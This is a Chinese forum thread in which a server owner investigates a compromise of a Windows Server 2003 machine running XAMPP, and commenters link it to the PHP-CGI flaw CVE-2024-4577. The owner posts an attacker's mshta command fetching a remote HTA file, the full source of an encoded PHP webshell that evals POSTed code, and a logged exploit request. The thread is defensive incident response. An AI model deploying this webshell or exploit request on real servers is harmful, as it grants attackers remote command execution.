V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
wangybsyuct
V2EX  ›  信息安全

是谁用什么方式攻击了我的服务器呢?

  •  
  •   wangybsyuct · 16 天前 · 2579 次点击

    服务器(windows server 2003),阿里云的,运行了 xampp ,也运行了 iis (为了兼容以前的程序)。 服务器是给自己另外的一个服务器提供数据,是使用的 web 接口。 刚刚远程登录,上面出现了 5 个异常窗口,标题是“http://88.218.76.13/d3.hta”,明显是被攻击了,之前没有遇到过这种,窗口是使用“mshta http://88.218.76.13/d3.hta”,查到每个窗口对应一个进程的父进程是独立的 cmd ,一共 5 个 cmd ,进程还都在,但是这 5 个 cmd 的父进程不在了,无法进一步追查。看了 apache 日志和 iid 日志,里面没有找到关于 88.218.76.13 的信息。这个窗口里面的源代码是

    <HTML><HEAD> <META content="text/html; charset=gb2312" http-equiv=Content-Type></HEAD> <BODY></BODY></HTML>”

    我想先将 mshta 删除掉,但是还是不知道是哪里出现了问题,想追查漏洞的出处,如何追查呢? 所有的程序都是我自己写的,接口出现问题的可能性很小。

    26 条回复    2024-06-21 11:42:43 +08:00
    idragonet
        1
    idragonet  
       16 天前
    windows server 2003 ??没搞错吧,今年是 2024 了。
    NewYear
        2
    NewYear  
       16 天前
    你用的 xampp 榜上有名啊。

    php 最近公布影响几乎所有版本的漏洞,修补了没?
    hefish
        3
    hefish  
       16 天前
    这么老的机器,跑在互联网上,即便不上 waf 之类的, 至少搞个 ip 白名单吧。 因为他是提供接口的嘛,应该能搞 ip 白名单。
    wheat0r
        4
    wheat0r  
       16 天前
    感觉是在叠 buff
    cnevil
        5
    cnevil  
       16 天前   ❤️ 1
    CVE-2024-4577 ?
    wtks1
        6
    wtks1  
       16 天前
    2003 ,这个太老了,rdp 直接就有可以利用的漏洞吧,好歹做个白名单
    janus77
        7
    janus77  
       16 天前 via Android
    虽然不知道是什么原因,但是升级新版本至少是可以堵上很多漏洞的
    Fred0410
        8
    Fred0410  
       16 天前
    2003 漏洞多到令人发指。。
    nekopara
        9
    nekopara  
       16 天前
    优质肉鸡
    euph
        10
    euph  
       16 天前
    @cnevil 应该是了 https://www.secrss.com/articles/66997 ,和文中事件二一样
    rulagiti
        11
    rulagiti  
       15 天前
    行走的肉鸡?
    ShinichiYao
        12
    ShinichiYao  
       15 天前
    wangybsyuct
        13
    wangybsyuct  
    OP
       15 天前
    @euph
    @cnevil
    @hefish
    @wtks1
    果然是,我在 web 根目录里发现个文件叫 Zq91u4b.php ,里面的内容就是有关 payload 的,暂时未发现服务器异常,可能是所有的程序都是自己写的原因,勒索软件暂时没有得逞,刚刚做了个快照,想想怎么完善一下,谢谢大家。那个 php 文件原文是这样的。
    ><?php
    >@session_start();
    >@set_time_limit(0);
    >@error_reporting(0);
    >function encode($D,$K){
    > for($i=0;$i<strlen($D);$i++) {
    > $c = $K[$i+1&15];
    > $D[$i] = $D[$i]^$c;
    > }
    > return $D;
    >}
    >$pass='dddzzz';
    >$payloadName='payload';
    >$key='f25200d5d90fa403';
    >if (isset($_POST[$pass])){
    > $data=encode(base64_decode($_POST[$pass]),$key);
    > if (isset($_SESSION[$payloadName])){
    > $payload=encode($_SESSION[$payloadName],$key);
    > if (strpos($payload,"getBasicsInfo")===false){
    > $payload=encode($payload,$key);
    > }
    > eval($payload);
    > echo substr(md5($pass.$key),0,16);
    > echo base64_encode(encode(@run($data),$key));
    > echo substr(md5($pass.$key),16);
    > }else{
    > if (strpos($data,"getBasicsInfo")!==false){
    > $_SESSION[$payloadName]=encode($data,$key);
    > }
    > }
    >}
    >
    hgert
        14
    hgert  
       15 天前
    当你已经怀疑一台服务器的时候 最好的办法就是备份数据后重装 doge
    Sw0rt1
        15
    Sw0rt1  
       15 天前
    @wangybsyuct #13 经典的 phpwebshell ,Godzilla 使用的 webshell ,光看这个 payload 肯定看不出它是怎么拿到权限的,还是得看日志,建议有备份就恢复或者转移,没备份现在备份下换环境处理下。2003 太老了,再说也不知道你 web 环境是什么,多方面都有可能。
    Sw0rt1
        16
    Sw0rt1  
       15 天前
    不过光看你上面发的 ip 和文件名来看,是 TellYouThePass 常用的,而且从 ioc 库里看到的这个团伙最近确实是使用了 CVE-2024-4577 的 poc 来攻击,好消息是你没中勒索的招,坏消息是,这个 phpwebshell 很有可能跟你屏幕上存在的 cmd 窗口中的那个团伙并不是一个,也许是两伙人,也有可能是三。。甚至更多。
    ShinichiYao
        17
    ShinichiYao  
       15 天前
    一个 POST 就可以在你机器上执行任何命令

    chf007
        18
    chf007  
       15 天前
    阿里云还能给你提供 server 2003 也是的
    chf007
        19
    chf007  
       15 天前
    成功的勾起了十几年前的回忆

    想当年 07 、08 年左右最喜欢搞的就是这个,进去后再加个粘滞键的利用

    你 3389 登录的时候连按下 shift 看看有没有惊喜
    wangybsyuct
        20
    wangybsyuct  
    OP
       15 天前
    @Sw0rt1
    @hgert
    @ShinichiYao
    @chf007
    使用多款杀毒软件扫描过了,处理这些,还发现了一个被植入的挖矿程序.moneroocean ,从文件日期看,是十几天前,是不是我的系统太老了,导致其无法进一步捣乱。服务器存在的时间比较久,里面的数据有点多而且复杂,阿里云对 2003 也提供的充分的支持。如果是换成新的 windows 或者 linux ,是不是就容易中招了呢?!
    服务器已经手动做了很多防护,针对远程桌面的攻击比较频繁,防护的方法除了改端口改用户名等,我还写了一个日志分析程序,如果遇到攻击远程桌面,会给发邮件,微信就会提醒。

    攻击日志就像下面的,数量不多。
    128.199.166.165 - - [08/Jun/2024:16:01:43 +0800] "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 200 12
    从日志看,apache 居然返回的 200 的成功标志?
    我自己请求这个字符串时,返回的是 500 ,居然不是 404 。
    ShinichiYao
        21
    ShinichiYao  
       15 天前
    换成最新 Windows 也没用,这个漏洞只有更新 PHP 到 8.1.29, 8.2.20, 8.3.8 才能彻底堵住,XAMPP 是肯定不能再用了
    sampeng
        22
    sampeng  
       15 天前
    win server 2003 ? xanmp ? iis ?你搁这叠 buf 呢。。。

    既然是阿里云,就要养成做好环境就打包镜像为镜像,坏了随时拉一个新的环境起来。干干净净。被黑了一般只有一条路:重开一台机器重新搞环境。不要相信自己能去干净。我之前也这么想,md ,这破玩意 1 年后在公司里有 tm 炸了。。
    sampeng
        23
    sampeng  
       15 天前
    哦。。我突然反应过来。。你为毛要把机器暴露在外网呢。。。只暴露 443 端口不就完了?有且只有两类漏洞可以利用:iis/apache+自己开发的接口。。起个 nginx 档在前面只暴露 443 端口。。完事= =!
    ShinichiYao
        24
    ShinichiYao  
       14 天前
    @sampeng 这个漏洞根本不需要暴露外网,只要你开了 80 或者 443 就可以攻击
    wangybsyuct
        25
    wangybsyuct  
    OP
       14 天前
    @sampeng
    @ShinichiYao
    这个攻击,只要符合条件,1.中文操作系统,2.php 版本是最高的。这个是利用 php 的漏洞,处理%2d 字符的漏洞,是没法儿预防的,开了 80 或者 443 都可以攻击。如果 php 无法升级,暂时可以用 Rewrite 重定向处理,然后屏蔽掉 system,exec,shell_exec,passthru,popen 加固一下。
    sampeng
        26
    sampeng  
       14 天前
    @wangybsyuct 不是,你没明白我的意思。我的意思是。首先,缩小攻击面。只有 80 和 443.这样你就只要考虑 php 漏洞这一项了。其他什么乱七八糟的都不需要考虑。就围绕 443 解决可能出现的漏洞就好了。没有 100%能攻破的漏洞,只要你知道是怎么进来的。那就见缝拆招好了。不知道?重写部分危险接口。。完事。。哈哈哈
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   922 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 108ms · UTC 21:36 · PVG 05:36 · LAX 14:36 · JFK 17:36
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.